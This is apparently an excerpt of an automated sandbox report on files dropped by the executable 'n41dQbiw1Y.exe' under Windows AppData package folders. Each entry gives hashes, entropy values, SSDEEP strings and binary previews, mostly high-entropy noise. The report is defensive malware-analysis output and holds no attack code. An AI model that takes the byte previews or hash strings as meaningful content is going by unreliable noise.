MD5:	22FC757A4AAA8432008B3036501ABE06
SHA1:	A03314E99979A44C3EDA5DF406FE32009DEAE1F2
SHA-256:	07D98095BBD6610170AB13126E174FAE2AAA7273DE566DCDC46679AE5D50A73B
SHA-512:	86E5A01C0256C752517142481E1750B5770F41FEF8A2D13F56AD63A5DE2E734BBA5A8EC677028B96BC7C385D6F8F8F6FDF492F513FB77D4C2F2849206DF753C9
Malicious:	false
Preview:	regf.#...........C._.....U.....o.\..?.A..g.R{....x...<Af.em7j.....o9.Z..).FK!.c...C..1.)...b<...s..D%.b.=..eO.....a.t..HO4.9...K.[.....S.@...^7.OM<U:.5..Op2.....Y)n+.[.\|GL}...n.7=~.1~.Y..h.oh;2,.S^..(..m..#...".Za.p.....Q...4..>.....t.).u.:.d[\|[....M....h.-..9&-`[X..."I....vh..=...G.....C..-..8C....[.x4..zT.p..\|C.t......~0A..d.w..#u)o.pnM.....G..}Os..../yz...5d,..'1.D.(.-...P.r.....!...L. 0..QJ...t.E...........;..K...'...=..o...u.z6.....e..N.c$...ps...iiL.}..M8......}.l.....'.~F.........qBq..6..W..Q\e..=....{.[.P.!#?\......O...@..<s6v.....!x.Ox4..?.bjP.H.4..1....W.i.....a........~.`t8.a_.......}.6..T.,.wd..8..Y.v..I...7..k...-....\|....{>\..\..E+lc.Q7.+T"LC..0../%p..L..9...te. ...5P.b.{#M...Z.....l.h..3.q._...J.........?.ee%NkR....~lQ..p.Jf..PA_....+/...9DB..Nf._cz..........Wq.0V._Y...=:[./..<=b]...<.."#9.1[}.}..-.....).*I..c...V.....i..!......).L..n..j..0....\|..n..ND.4T....Z..^`.HQ.N...p.!....4WT......t.L...B...{..N.....3..bx.O...K......v

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978597368894587
Encrypted:	false
SSDEEP:	192:Wh1Gtt0eHgEMJMUjItCV5oTKPa6Mae9vQbN0ByQlgxWY4sgx4:Whott0pEMejWD/ev9RSX
MD5:	D00B77D3DAFE0B695A4739E4661586B3
SHA1:	03BA5C88B344B8900F3D7C2B589B338C3CCF6976
SHA-256:	23BC6FE268A89D3ABCE4FE37E942A278A191B40FDD4E7B22C2DFE20FAC978B03
SHA-512:	90988F9588078BD7341FB13654D5221C2E001A085FD02573F0180D117E4A3B79C92C8BC0C35D64949B8AA44CF1C45C3F495FD7ACD1E9A0F3B746425B01E36B95
Malicious:	false
Preview:	regf.#.........^.....u+....".....n.......\|]..g,.9..0...T...>+x)V...l./..........X.\|.R2h......te.,..#.f...^;....._...cGb..fi.....t..q...Yh,.;..C!..3..#..$.bB.f.s..F.4u..G.T....2.....F".....\..D1...MY..7ZYCy......(.T.7..KmZ......5....N..m..i&?.l/...J8nW..B@.,..5.q.....;u<.S.Es./..]....@)/p0..3.k.v..~...Z.u.....y?...m.]...U.qzQ.K..9..7.!..x..b..'F0.!0W%8..w.I....J>]L@..p...%...B...(.#.V.=9?...}.z..l...z.2...94.w.....7...D.s210.... ...)...aJJ..6<(G..........N\|......QqXdh..........HuJT....Z..nOx.j..U..W.@7...(.`...o.F_w....y.x.%...Ot.vmp.y..y...h.f.... .I......fO...h/\`../..;aK.o...rn..a..p..k..d..)...b...>...e.S...U`..7.......7..w..>.<{.......x...7.....&..u..^..r...3.. ..b.)..,...lp.?..7.........d}..U.t:..6.\|.0.g..O.K.s...R........hI.{05.o....?O...Q.....\..]/.s..k...W*^..O......V{.&@7.S.5,.....U.d.`/nSJ.>d.l,.d...n.X...T.Cm...cR.::....K.....Mru...E)......t.....@..$..;+,.............mH.2..-....HI..b.9.~.R...y<.x^].\....Q.......W..YEl\|.AEm@

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978584321339798
Encrypted:	false
SSDEEP:	192:sb3huKAO4HZDJ/sPdGxnqVr/OhEXrIi7D4z+d0shH6aN:cMOMZDJ0YFarkJuG+9/N
MD5:	9E3A7D4409F5B32D7085C12A42A9C5EF
SHA1:	04C72A3B8CDBC34074DB654E0714795B16AB9329
SHA-256:	EBA0CF5C342503660B2993D442E29E8A3DDD16DA99D07CF7797CAEAAD7F0640C
SHA-512:	D489A6E5B134B4B3F615D941BCC709AC06A832E637CD92BC7ACED42798614766D00148FD2EB736B40CE3A14DF80B62C00E495FEAC1676EFA29BC57C520D55F1B
Malicious:	false
Preview:	regf.Y\|....!O.g9r..a.2.........Q...V....'..b.7.QxOYK.........8Xtdt..{=..4...\..Y.....+..X.z..I.&.f....%C4...g.....az.\|..q...K..0}W.$....A..}...dG..D...pB..SX.._)~......>\....fX...P.9....5.l.>`N=.;9L....... K..J\.j..s.....l.k...p..a...H..O.HX..a2......I.=.......g.cEe.F.....R.K$..n..&0..y..~Yj..?i......1a......@..U..r..B...OS.8...%"."..&..1..^.....A.l..R..<(;+^.....Za..n...`......J&Qa=..z~..[.....z.V.E....!!Y.k..j.u..K.E.._....r..S......H.....YAA....H.I+j..}...._7..."...f..7.,As.2a&K.[.....nR.mX..{.V.1x..:......E.....X...-..).%..[.T...#..K....C....\.!.Y..RGF.A/....c.. .R.^8Y..;.=_(.\.I.....'....E..\.I..a...r?Ym.#..B.{..`..!-..uh?q0..7..;...^..m.np.hO.?D.:M.T...6_.}\|7...X.C\wF....{0..Wp.[...WoY.c%....SJa...!w..k.x..B..~..........W..@..ee.21..!..Oj#..C.e.....SgB4F.P2.5...].Z....K.!(H..N..........q7@T<..jiPF..lk...H...*....z.%.V...I7.!.U....AV.Dq\|N.u73#1vp..!..D..J..t.+.......Nl..7.2..i..s.O....\=..Kg.&/.1.c.u.H.k...>G.htyl.R.n...@.gI..w...D

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980836882218446
Encrypted:	false
SSDEEP:	192:h/p6QJh6XxYexin8BIHRAfzPY5iqNNiFNFA3d+S9OlZCtC:hFum1SYhiFNFA3pOZ3
MD5:	0DD4C4C530F26817D2A5FE77942F9880
SHA1:	E21DE76B6E5482EDB82B408E4E53B3A016B1DE52
SHA-256:	8B07032EB089136A6C90F1C253A779756FC0AEBC91DB7A6A5EB7ADF222103DF3
SHA-512:	A71964B9435B1F01D6F06678AF16085232D1CC1DDE28F68749FDDD159BEED2C23B93020242880375678937B71053E6888BC83DCF0542DD1EE6DE15D57355201F
Malicious:	false
Preview:	regf.1..H..0.&xB{?.=.....Q......^.......o...?5..w..1A.._fp....%........8.K.".ky...!..\Q..$. ...@......9...+mI.%..?.. R..Q.].NJ....X..6Q~9'_1.....B.G.$.&.i8..d80...Q..A.....p......a........LA.....$oUd.$....+..x...E.Yf..c9...e.e...@.....t...xt...........]....iY.X._...]..Et....git..Q.o/...;..!.....i6..X8.(..kro..YBo.bL.{lFq.Qz...f....).I=]f..E....J....mT=...x..h......n..4........@.......;...$.l..?.Z.&e.T.c.....x....t.......P.I.cn.G..CQBJ=k......M.4:....%.-.h......x.......L..!.._R.....x....q.....q....,....j..k.........Tep..Om..H>....<.d.3.T..A.... ..o.K.....q...@T.SD..i".....^.....7..o...U....y...2.r.....H}H.S.YD.X.E...Mqkb.{....M...;../!n.......%..G..Nn[..\....@DB2x....D5cT..{..:N.."...@.....N.GY..v.]..:.9.....3.p..CvQ..kmq.].0......@.RI..B8.@.i@:...FL....<.6.OygF..3.]......'."@C..=...*..f.8wU."..?.....w...o\|...]}}t'v1#^'wW.s............l.S..\..")A ....ViCYS$....}..f=<?d&.b..,4\|.h..>iB...&....6tF@. m.....E.&/b.t..A.e.Nl..b.y..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3302922381276345
Encrypted:	false
SSDEEP:	6144:6PbgqeQbt3KdZEdExDNOTeosBmN7rekGk:6PbgqhpAkCoS87qNk
MD5:	1AB6ABB23A51A74EDCAC4105A7C17942
SHA1:	07FC96CD9C7125238259DA8825D2AED7419D642F
SHA-256:	2EA45EF069CE31EF859886E8C0EA8CD4D89B2D3F8355FE670F01DAF3B36C6447
SHA-512:	737D133CF5863CF7C1CD3D0C1E91D5A6D97214F102903D3E38FBB406E4FE1B0CD63AF9096E03FEF021A8D220D1FE4B79FB9EE826BE26A78BB30D0BC3F4EF0797
Malicious:	false
Preview:	..4t.g...Q:..]#..u.1^X".Z...\.=.x:...'..}...wDV0..l..M....Z..[.U..2#...@...p.xf.IY....\|6.x........V...U.....RtH...#....u.".n-s.m.....1vO7...q.L.......).X../....bud.U...<....1y....N...`...S..V.......;[.v.j....AM....V..2i...;T........ .....#.L:.X.....G.s.h/........tc}.1.1\...Y3.%.S.........4...H..Ul..f^......1...+.{.@.~K....}..+yd.av......qkb,...z8....?...O..F.+.%...F..k4x...'..-.....m1..-.I...(...[..d{$.v.S...."n3..q.5......r......y.6....u..R.q.F...U+.s.&..s/.&i..!....2.gT7.`l......).}..7.......t.I(...p...s...qQ.$....~..y.3f...N.o...I..._:......VRE.!.X....\|ZN..f.z.[ .h.........B....i1.w1x.y.k!...q...).'.ML@.-..wdA...{a.*..X.2...........w.Az~;..tT[....gt_!,U` ..tT.......`y H....BY.=....e..~....s.Y.L..L...........XC+.X..6..=..i..k....xC....._".0h.p@.}.B.p...R.6...4...3Y k...V....u`.(Bv..s...[.~.+..\DO...z!.F."I).HS@d..fM.).......y\6.p@.e...../..I..}'....1T.rr7t..N....+Fx......._...5#N...2.q...._.F........u.a...R....u.....6....6z.W..5<._.6L..... ..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988562717512445
Encrypted:	false
SSDEEP:	384:tTiGbH6QwhcCXz+urlkLfDXIdCJ1kv0Ew50c4oDig/RMBL7gj88n54:dFOQzCj+urCzTb1I0d0wLRygn54
MD5:	DA9E56B4108BF5DBE02F11EC148A7DF4
SHA1:	22160F14470C49B9A61B7EF2369359EFFC25B75C
SHA-256:	1E21D3C2426B27D3D46FAFF6C671176A34A396609F8FE48C520F80F3BEEF9EB4
SHA-512:	9DDCEC166C0DCF69C7448B706C387061AF16F728E651C04ABEA4914FFD911CE3A0E5D83FA76C08C78E22A42A2AE4237AED9AEF8BFEB9023AA3A3E29141E1A419
Malicious:	false
Preview:	..}...>..~Csd..5.:VQ..d...H.L....ds.!.......:.Zo....H.O.;z.m5.M.^...<..V.V...J..!E.2...Z%.].....l.@./.d...k..J...ymr }..`...4.>(m.DpXX./.h......'9G.%.#.E..gL....b............HM.^c..A....O.nS.G..Z.2.....V0.v....o.V.'../~.G.. ...{.....GG...s.O..E.k........`....T..EWk....,fQ.... .%b....$hgr.M?.\|..Q..d....U.D.g4..c...vr..!...f....~.[..Y..Q.0...6T/)?2..z..{......?"."...=...w".$'k.0...oy.CV.6e.4.@..xUa.,..D....[a!..%s5mO..-...w......p&3`...d..e.y.4W...d.n....?..9.{......P.(NI...cM&..\....q.O.......Nwy..w.TY.).Z..[.O.1..).].........T.6o7q/......h...c..K...~..9O...;O..pY....i{. .l....E..\|.q.e.....^.Z..T.s(...I....We.....Y..i.\|....,..Nj....)^.@MR..Y. ^e/....o....)....3.D.........GM.$..}...._.QvhX....dU.c.j..#.7..J.i..@M\|zK.}...a..Z......e.SpK9....0\.;..$7W..V.2"..:i/..^)..o.(!F.>.dUL....d.%...>1..0. .6..'`....X.M<....*L%.HUa......./.V..c.....\......UR.#......w"....w.....[e.GD.V..:.....3.h.E..\|. 4...n9.$."..?A?jIm.N...[D'(...`.........&.~}.Z.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.888160438557123
Encrypted:	false
SSDEEP:	48:vZ6sEYqVesntsu7VSwaek18xuv+fCz23rRASDS6DqaGxoD:vLhsntXhzGC0WCKRAd6Dqag0
MD5:	D486AF0CB5E04DB842551915A8640797
SHA1:	8C5703367075EC50BF53D5BE8D946A96A46620A2
SHA-256:	3A667E0354EF6F9E5C52166E549EA6C7F2EA1F502B52EEE0D22AF26707CEEEB7
SHA-512:	54E47AE9D0FA16BE63D130456A420B751DC7EE4BD68D79D473646C9853359043424AA8524399C3C3D716BA49862CD724FEE32C482834EAC0D2CF91C6B584281D
Malicious:	false
Preview:	h.t.t...=..@..c ..............}.Of..~ .~5T...[7.u.M[&<6.n.-...Po ~.q.K....XP..;..%..H.L@.P.._C..5...-94.....W./..[.......0.../.)k..25..7%.j.9..#Qms.a........{.D...J.........O..%...?fo>.f.}A.&...q..u.zo.....P..@..-1yZ=.7H....x.Yp..'..}...M.^...T.z.(S........>o....w.a...I.....=..O 9..p..hf.Q....Y.y(....f.....u}Qh<.+....?...\S.Sd...d..96..i.....k.De...S...jCw...... .c.J#N.p._K....Y.G..@S.._...+@k..<..Y...3.P..L>.s.f..7.`.I.,...~..O..0w.@.Q.....A.(.......D.msL.w0..cx.....k.u:.E.#.....pa.e.H}.p.Q..8..x.X..5.....E.0..R...80.@a..x.HX>..[.G/c.)zAn.~z.W...2u6>.m........?..q.\..@...h8G5.....Ru....m.p......~..7.P..EF1......B.<..\M\a.\. .#.F...q..)......G.V....y...0;`.a..,1-.w.r...M..UL.TF...se.....'BC9.Q5.=.\.d..G.).e..o....Z.sJY3...[.[........2..tKnn.......Z..f...S..i...9...`....k4..=U....PS.,....O.q.$.mo}W.&..[.S........6..n.*M.:w.....$..tD._.:....p.."...z.......).2...S"VR.....d.3..m.....t..X.........w.9h....~<`...M2.....i.bsE....6

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.799423906689998
Encrypted:	false
SSDEEP:	24:qa5zKeFI7ByeQ6t39YdD8y3nnreVNvY0qjUZyQZmbD:cRBjZ9YHnQEjUXZ0D
MD5:	6976959C90E3D53986122C1210F67B12
SHA1:	7538083A6EF25B10956FDF39D1C170E0E45E0059
SHA-256:	2F4999FC5806E447DF87E17B23AB274356DE2223C37247BEDDDA1F2E1CC872D3
SHA-512:	22BAA0367C9799BDFE8FA2ADA081531FE6AAB37E7AB2FC18EE5C7A6B544EE9BDF54BAF2A0609D07848489EDC47AC5EF69333A1BD048EC16C76486B0E8B1C5F6E
Malicious:	false
Preview:	.....C...:...n........v.\|%....a...e...d.z..>...NY......8.^...`...=.<z^9u.(\-...%.V.9R2"t.Iig.....\.......+`.i..R....O../.B..........x.@.K:..>LfeQ`...bq...[=(u.=.7.0..T&#.1..7..o.R.~.].@Lm,....9Se.Y;:.i..Q/..d.\|.....#%.....$nd8.H..$.....0.]..U.u.\|5.#1.a...$cN..)..]8....Lk7cW`i ..$........5(...~<.\@\.A.V..0.m78S%....\v.\|.x.9.d.s..>!K...\....u=B~...GH....0r.Z.T.h;..S8..C.!#.HpC.....a.....5...l...v.[......^..f..Uh...G...5..`.......`..U....=..i.X....jI..d..Q.D#..OC.I........._2@U?Q.....].#.T3h...&^6Y$]...s......5.......A..d;...nc..&.....z..p.+E..w,....4.......Y..S. .i.&.2}a.r.=...A/.....`..bp.$..RF..=%\| ...>.}..m......\.@H.2.C.\|<.fB.3..5G.....W...7..o........YIO+,I.0.C...{03.#....AhU.5.R.y.H.nw..Q.-.rs...u00.9.S49..q.).v%.]..oA..J...x1J<.V....)..P.E.....B.K.e...b.}:.x.Q0.....8.Y..Hn.^ld...K..t.yI.-G.f=/7QJ....Q.S.b..T..9....]'...E....\D./.9.ga..V.NFei.)6x8..fn.I.2&..?oq.$>7.~xKQX.2..j.l?..........Ar.Z..H(6A.l..k_.......C~..].....n>.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.31903285731404
Encrypted:	false
SSDEEP:	3072:WB+tsmnWAvHYfNWn9ZDkEGLipCFopo53fNValUiBNWqo+fHP55aPaM:lnnW0Y8nbQEGKCFMofNVaTPWAPo
MD5:	FFDA52AEDBAA8B094A1C0A27588A841C
SHA1:	CF99ED52D295ABD1A014A10F7CFE03D3EAF6E15B
SHA-256:	B6087478348D45ECC49FA66EC1673D13939DEAE94A8EB899F2642393125E65A2
SHA-512:	A697BB252D9E2F7873D9D1927DA2950A6E70A824E051DB6BE7E2814A92EB0720FAE74C15F9B1F3944B8EA9285EA3E9325668BBCF4D471D9BDFDEF80277F8652F
Malicious:	false
Preview:	./...a:5t\|...6{.BDrB8.?....\d.Bb.......Y^@.~....&MX4X....Jo..h..o6vO.K..U#../E.........HwE.....;.'..J..}FV...X.d..I...)./i....%b...u.G.j}K....:p+..b.. ...X.Vx..J....8..$\.$./...c.N.3.N.q[i!....7.8.~..Bs.=}..w..T..p.j1Fb.......a&}w.._......X}&......tW.".I........=.n<..3....M.{\..e.y`......3D..ql..#..~..C....M&R...E{...#y...S.L.2..\|O.IF..]..)..b(...T.(o..)%y......9Km.i.s...&....Q..!.Xo.....XY"..\|...A..G......X%6....OL.3..FP.c.@`pO.S....;..g..:S_..e..-....-x..V`.........$...3.Q.L..w.x.#..a\|.\...P...k..E_..7'.(..........4.3.+v:+..m...6..9}ul.._q0...%....k..._+K{.G...H.1Q.v../..3..Q.l..?...Z...}0.......i..,&....$..\..w.....~y.l}...x..e>.>...~B>.ch.....\\...^....'...R.g].A...mM.X...#..&..ID..... ...Xy1E.Nn...9).....^T"......3,.B=.....T...},....q+...R.Q.P.g....B.pz.....".Xo.\|..\|.G._......Pf5P..L&.((l...l....n...J..t...Ud..~...........`..o....1.u.{d%x7.B`..=."......{..BB.x5..3..uv!.0....r....+.6.n.i..J.BHk......cC...s."v(..4..K5...,..N^.a.).

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988189546159963
Encrypted:	false
SSDEEP:	384:7wnbSibVbZc8jRmXjAoXuXX03VzkSw4vQDo0zjTLF0iv:QlVFbEAdrmO/7Zd
MD5:	55BC524DB7A0EEF8DBE53F479E23A139
SHA1:	6E065916CAA648C3222D65E9AEA6C838CC63217C
SHA-256:	A9AB80168FF2BA2563B9423F1EC4AFF2597038B6F18937A0434312DF60BE7F82
SHA-512:	EE55F3C287EA4E23FCBFD87130D1AEDE2A6B101422EA91DB708043289A8ED91A864783DBEE9A83BB281D1B706B28B6B1D1FCA5C39AFC1C622F433132D333F452
Malicious:	false
Preview:	@.v..Q.W...=L..m..}.!p.C....Q_.\|.S......j_......Z..U+.Ik.y..9.r..?..#qB.o..Y27.t4(<.&. Z`U.....5\...7...W..3q...7R.?P.......0.~..2`%goB .....e.K.MT....T.S...'..L.B..#Af...D.LB.1../ ..gP.B8.~.....x.&f.{..R..........$)..\..+....m.1......ID.".V.......YO.....\bT..)W..h..>C#.4.!..>...y.x.......W.;t)..c.%....:....?...5.U{.QYx2...`..P4N.lM."....4\.2...zL.t.t.q`..0l...(X@o.lT......p.~.V,@.eQ...`.T7..g...s.'E....X..nI........k.c\g..N.n.L....r....}..3.)'pgAz....>.u....._..W.i5UUe....B.4.C.5=..F.c../.....\...V:dP.I.....4...J..M.u..4B...{.._...'..7.....:..]eC...,.F...-.`>...!o\H..N..>9......x........:..Z.F.1O...(..F$...I......d8.]A.Hm....+..)D..mB<...R+.2.[.92.2.<G.b..}..$It.J..m.....H..B...T7B.6.26...j....O..._".T.0"......kO..H....[..c...OG.!..no\}0z....m...F%......f6S. .P)....p..A.y.^..g.....c.C.3.P..?o.O....G...>..R.\X..........k.M.&R...J.m....kz...._..../...-,K.kx.....x.:.[.Q...v..lM..u......v....zvKz..S......).J;.......a..H.\|.6..i

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1135841500544843
Encrypted:	false
SSDEEP:	3072:pQiTcexuqKlXd9ipcM1MosFlZEvnnGjx/YP9B4mgqKnPR4t6axDfax7m:pvcsuqEWl7xvnMxA1B4m+npGlsm
MD5:	C29AE35DFC1FB65AD9F275E6D1104348
SHA1:	043B98CBC0C4BFF1622D3A7814398601EDE2ABA4
SHA-256:	7BF12177E98A3FA6731464DBBAD0667D3D7B8FA926D439ED1E84C250329D9EA6
SHA-512:	C879D4832B925C5189624E064ADFE274B091657091203C5E71B97B750545AD5D55A79D03F0347D287B76A5EE0E66DE8C3A87526652F138ECCB17A43E2B760188
Malicious:	false
Preview:	......R/T..4.......h.:../..rAy.{h ..:...\...j...Uo.Ah....a...S.^!`.O...h..!.....r............v).............V.v.\|.......e..H..y..PP..I...ij..!.A.4f...{....Qd}..X.d_..#\..{5....rb...;%..QRL)..=..@<E....U...k...^.@.Wp.X^.......\6Pt..`.T..d.D.y..>..n.../8......F...s..D.-)w...<. -...D..e..+6...!....]b..Nav....:W..w<5...G.^...Wg8SY.'..........D.^...z..W[U..^B..h.`.<j.V,_....%.Wk.3.\|y..B. ..)7....Q.(.....?...I<O.pA.I.....N..0.....5..NN.X#..,V...My..;Z.}gy"H....'cR..+O...f.?.....v....}........._3..Z.iZ.'.v....#.F...E...u..YxB:.U...o.q.F]D.".0W..9.l.>.Ba..y[0.X.9.\|...q.]...C..R.@..U......~-?q...i...p.....yX..y.,_!#....)......NV.._.$.k...........<./.Q...D..N..;.bu...,..s...4..By.dy.S...\..1..DG. /.N..l#7.=s...N.C(.g...X.U...b",.IYR.tni.!e...(.....B.q.\|.r T....K\|Z.a\|...Yb..........Z..........}....9.w7..o..#V...a..]..i.KYm.........'.}:...X..0...!.#..p%. '. }7....z2F...gD..++..B.T......f..)%.B..;......+~d.e..Bj...?......C.g..!:../....9T..!...?.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988973847509722
Encrypted:	false
SSDEEP:	384:nM4Gi/oINCr17SjEo3ARId/JZkFgg95Nmfq0t:M4DMcIeOIFJmewGy2
MD5:	B1E32E946F037BE1CFE32A80A363B7B7
SHA1:	34C287207F15C8DAA4BE1932BC26A349ED283790
SHA-256:	BCF1501BE0F1D0F6F310F5DDA555658C0168E8BD4EDBE5592F12495A49EE35C8
SHA-512:	3E571D4EBA53BD8BB1CD396E7AC536B7E21DD632B2D41B91AD43CEFE34E04D719789EEAFFB7AEE370B2710EE39EF0A98B73F1075C55943159140EF5BF001F066
Malicious:	false
Preview:	..l..?.C.t..;.y.#.8p.gBj+...rv,.. f.J&..1........<.{..&,..I.t....qM......h[,.......c..0.L.6..o..X.....B:...T.8..m=..tfNY\|.XS..L..B..y.....Mf..........5z....bO..._.%....6...<.u./Xs.4..Rgc.`..]fY.j]jm..\|F.....^zTS..x_...7...71."......'..J...B..h.lG..R.....[.~?M~...r5.ui..>e..Ae...Jn.[...]z.....5ESfs XS.....g..yK..#.&.3Z/.XF...G...$..1..z}.......?I...sP......W...y.k~..H.e.H....r...b...y.q..a$..rku.x.E../uS#_v`..A..i........I.w.].zS..`r.>t.S.w....L.t....t=b.x.g..t.\.&?....!..3.kD.a.%G.I$...7...S...P..Bb.MZ1(g...ts.@.....e.M(...........6...> .....{./....<8Q4.E..5.z......cb.(. .x'D.......#...h....=$.......P..R.,.}.?h.O/....yj"iG...1p.D,..V..Lg..E....'.A.kX..pbXO..$..$b...!..'......d.."G....{..4......#.3Z`!L.+..\N..8..m.....-.4..[....+....+..........}G.A/P...P.E......fq!. ...-....M.I.%.D.Q5.dp....qL.`F+....s....e...V..N....4..0.V....;(..;B.+...)....$C.....d..\|3.\.{../.?[+...6Z;.r.T.w.. 3.h..v..b(oj.C.7.......o"..`#9..AS7..!..w.._..i..=OA..7....q}P.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977231066447904
Encrypted:	false
SSDEEP:	192:lp2C2qJkWuVyLyi2ZaZ/kBXY5tHqta3vjNN/udQEH+AI:j2ClJkWSEyi2ZHXYj33vB1uR+B
MD5:	F951666A0AE28FA81A48D02CBD9B7AA3
SHA1:	703B9B7AD0D4CE1E288F5FE09EBD71D3DBDE324B
SHA-256:	3C8BF49FC332D679E93E843E645560BFF91B6A9607FE2C6162293CA7AA43E11E
SHA-512:	66375EC51CEC171C32330C058075C9A4C49190A7399BF2BF4CDA176543945652D7D18F8D21C09C1D99B96CD87CCED97AA46AD3606005F343CDBCE32D412AB493
Malicious:	false
Preview:	6.....d.k..K^..8.QV..A...+X$w...Y.'w}.1b../;UN^.\$...G..5.D..I.[.c...ou..uGb....Ri..d..d...a...G..v.5<w. !.)>.Nn._...mA.cn.....j'.9J.....\t......J..<...1[.^Z ...3..^.i?')8yH`...... ....f......T..)P.y7.......#~...]..\..:..Tt.....h.m.......#2...\|.qtg.g...r..;....q.&.....]0gM..4..... ...............Y.S.!?.c.....E(...9.........f.."?>.\.F%ap...AO@..V.....p.....).>1.qt.b%`:B'...$\..{..z..hd..R.q.J5m\..V.r...K..#$.:..x......6p.....k.O%.,.f.......N....eR."x.i.\|S.v.{ID...C..."..\;./.8>.".4.:.>e<...h...M.K...z...p..#.j..Q.....@>....1.!:^(.a.0.....KfO.^.G'?N..U......H..v...._.R@..b2..6lic..".T..[.+...ruv .Z.x...%.}..(.{.........M......(.N.)]^.y..\|..W<.@e^B6..=.##...\|...t..3.6..{.....'St`.~.....h.u.0?.r...~.U.W..a6.[......$..c.!.3..j..>......Zn"..Sc8.<........m...D.W....K..`..D.w.'....&9..#....z....N.....).ClZ.0k......9..f.a..k!/m.z.Z.9...-...zUkj2...ja.Ms.....b.JR.li..Y.A..._..K.^..w'T...d...!......^.-...G..`. ..N....w('iT.(o.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208211841540224
Encrypted:	false
SSDEEP:	3072:U7UQcTAEtD+dlSqgHaEB9jc5EZhsGff8mw9qCbCkbBhJcVs6aMKiDh:d3tKbg9jomS8CbCkDJws6hNl
MD5:	6398DBB84773F3C97CB37395133E8500
SHA1:	5E7E8840D44AF95ECBA7BC2828ECA25ABEEEC0B2
SHA-256:	207DAD2A990176DBB121669F9A243B465CF6D7F4053A519D0ED25F985CC00518
SHA-512:	B76FDA51BD5770365CA7C4B3B6B65534A72B10DAA190DB582B0DC27035AC26CA377A58B7887250DDA432E0B4E94F74E8C6FE0FBB1F806A80D76E8EB69A50269B
Malicious:	false
Preview:	u.,I..8....oD)J...$..bu.C[.....u'.=.T....q.C.z..jF..6_c...w....1.v..f...}I.k..w<..\|hN...K.XY.I...}.#..."..v...M.....7&.3..'....:d.`.....K.JtN{...e...U).G...D.3K.=...L...?..C..'cK....eG.c.. .D.~.....d...V...5."I.v........I.Gz.I.k.p... ..p........Xh...Usb..}..).........nB.}.H^+0~...3...}3._Yl6.M..\.].......>.d...T/.....qQ....+u..}%m.t..j../.J5..x.........].$~T...'......>..(v).<&.z...Y.p{.......u..]..w=...<x9...2...n.IJg...(.d..#..6.h...0O+z,..xc^...L...3@:.....-8P....C;n"..E.~.rU-@..N..Q....V.I..f%.....2._\".1..4<.U..VG...(.._\...a[.#\|...a..U...P.=..n_.].....6..hw...f.K`0.].S......xZ.l.....L;..^....o...e..._...{.._.\|a...y.........f`...pS>JLn.L.=Z...j"...._M.G..d..C_..\.{.W2..f%.Q.,5...X(..'UL.'R....v$..E.Ees1>.k...P[..uU.[;...^..t.j&.._.....9D..N...zl..{B....t4..qNW.U.. .U..2.1.V 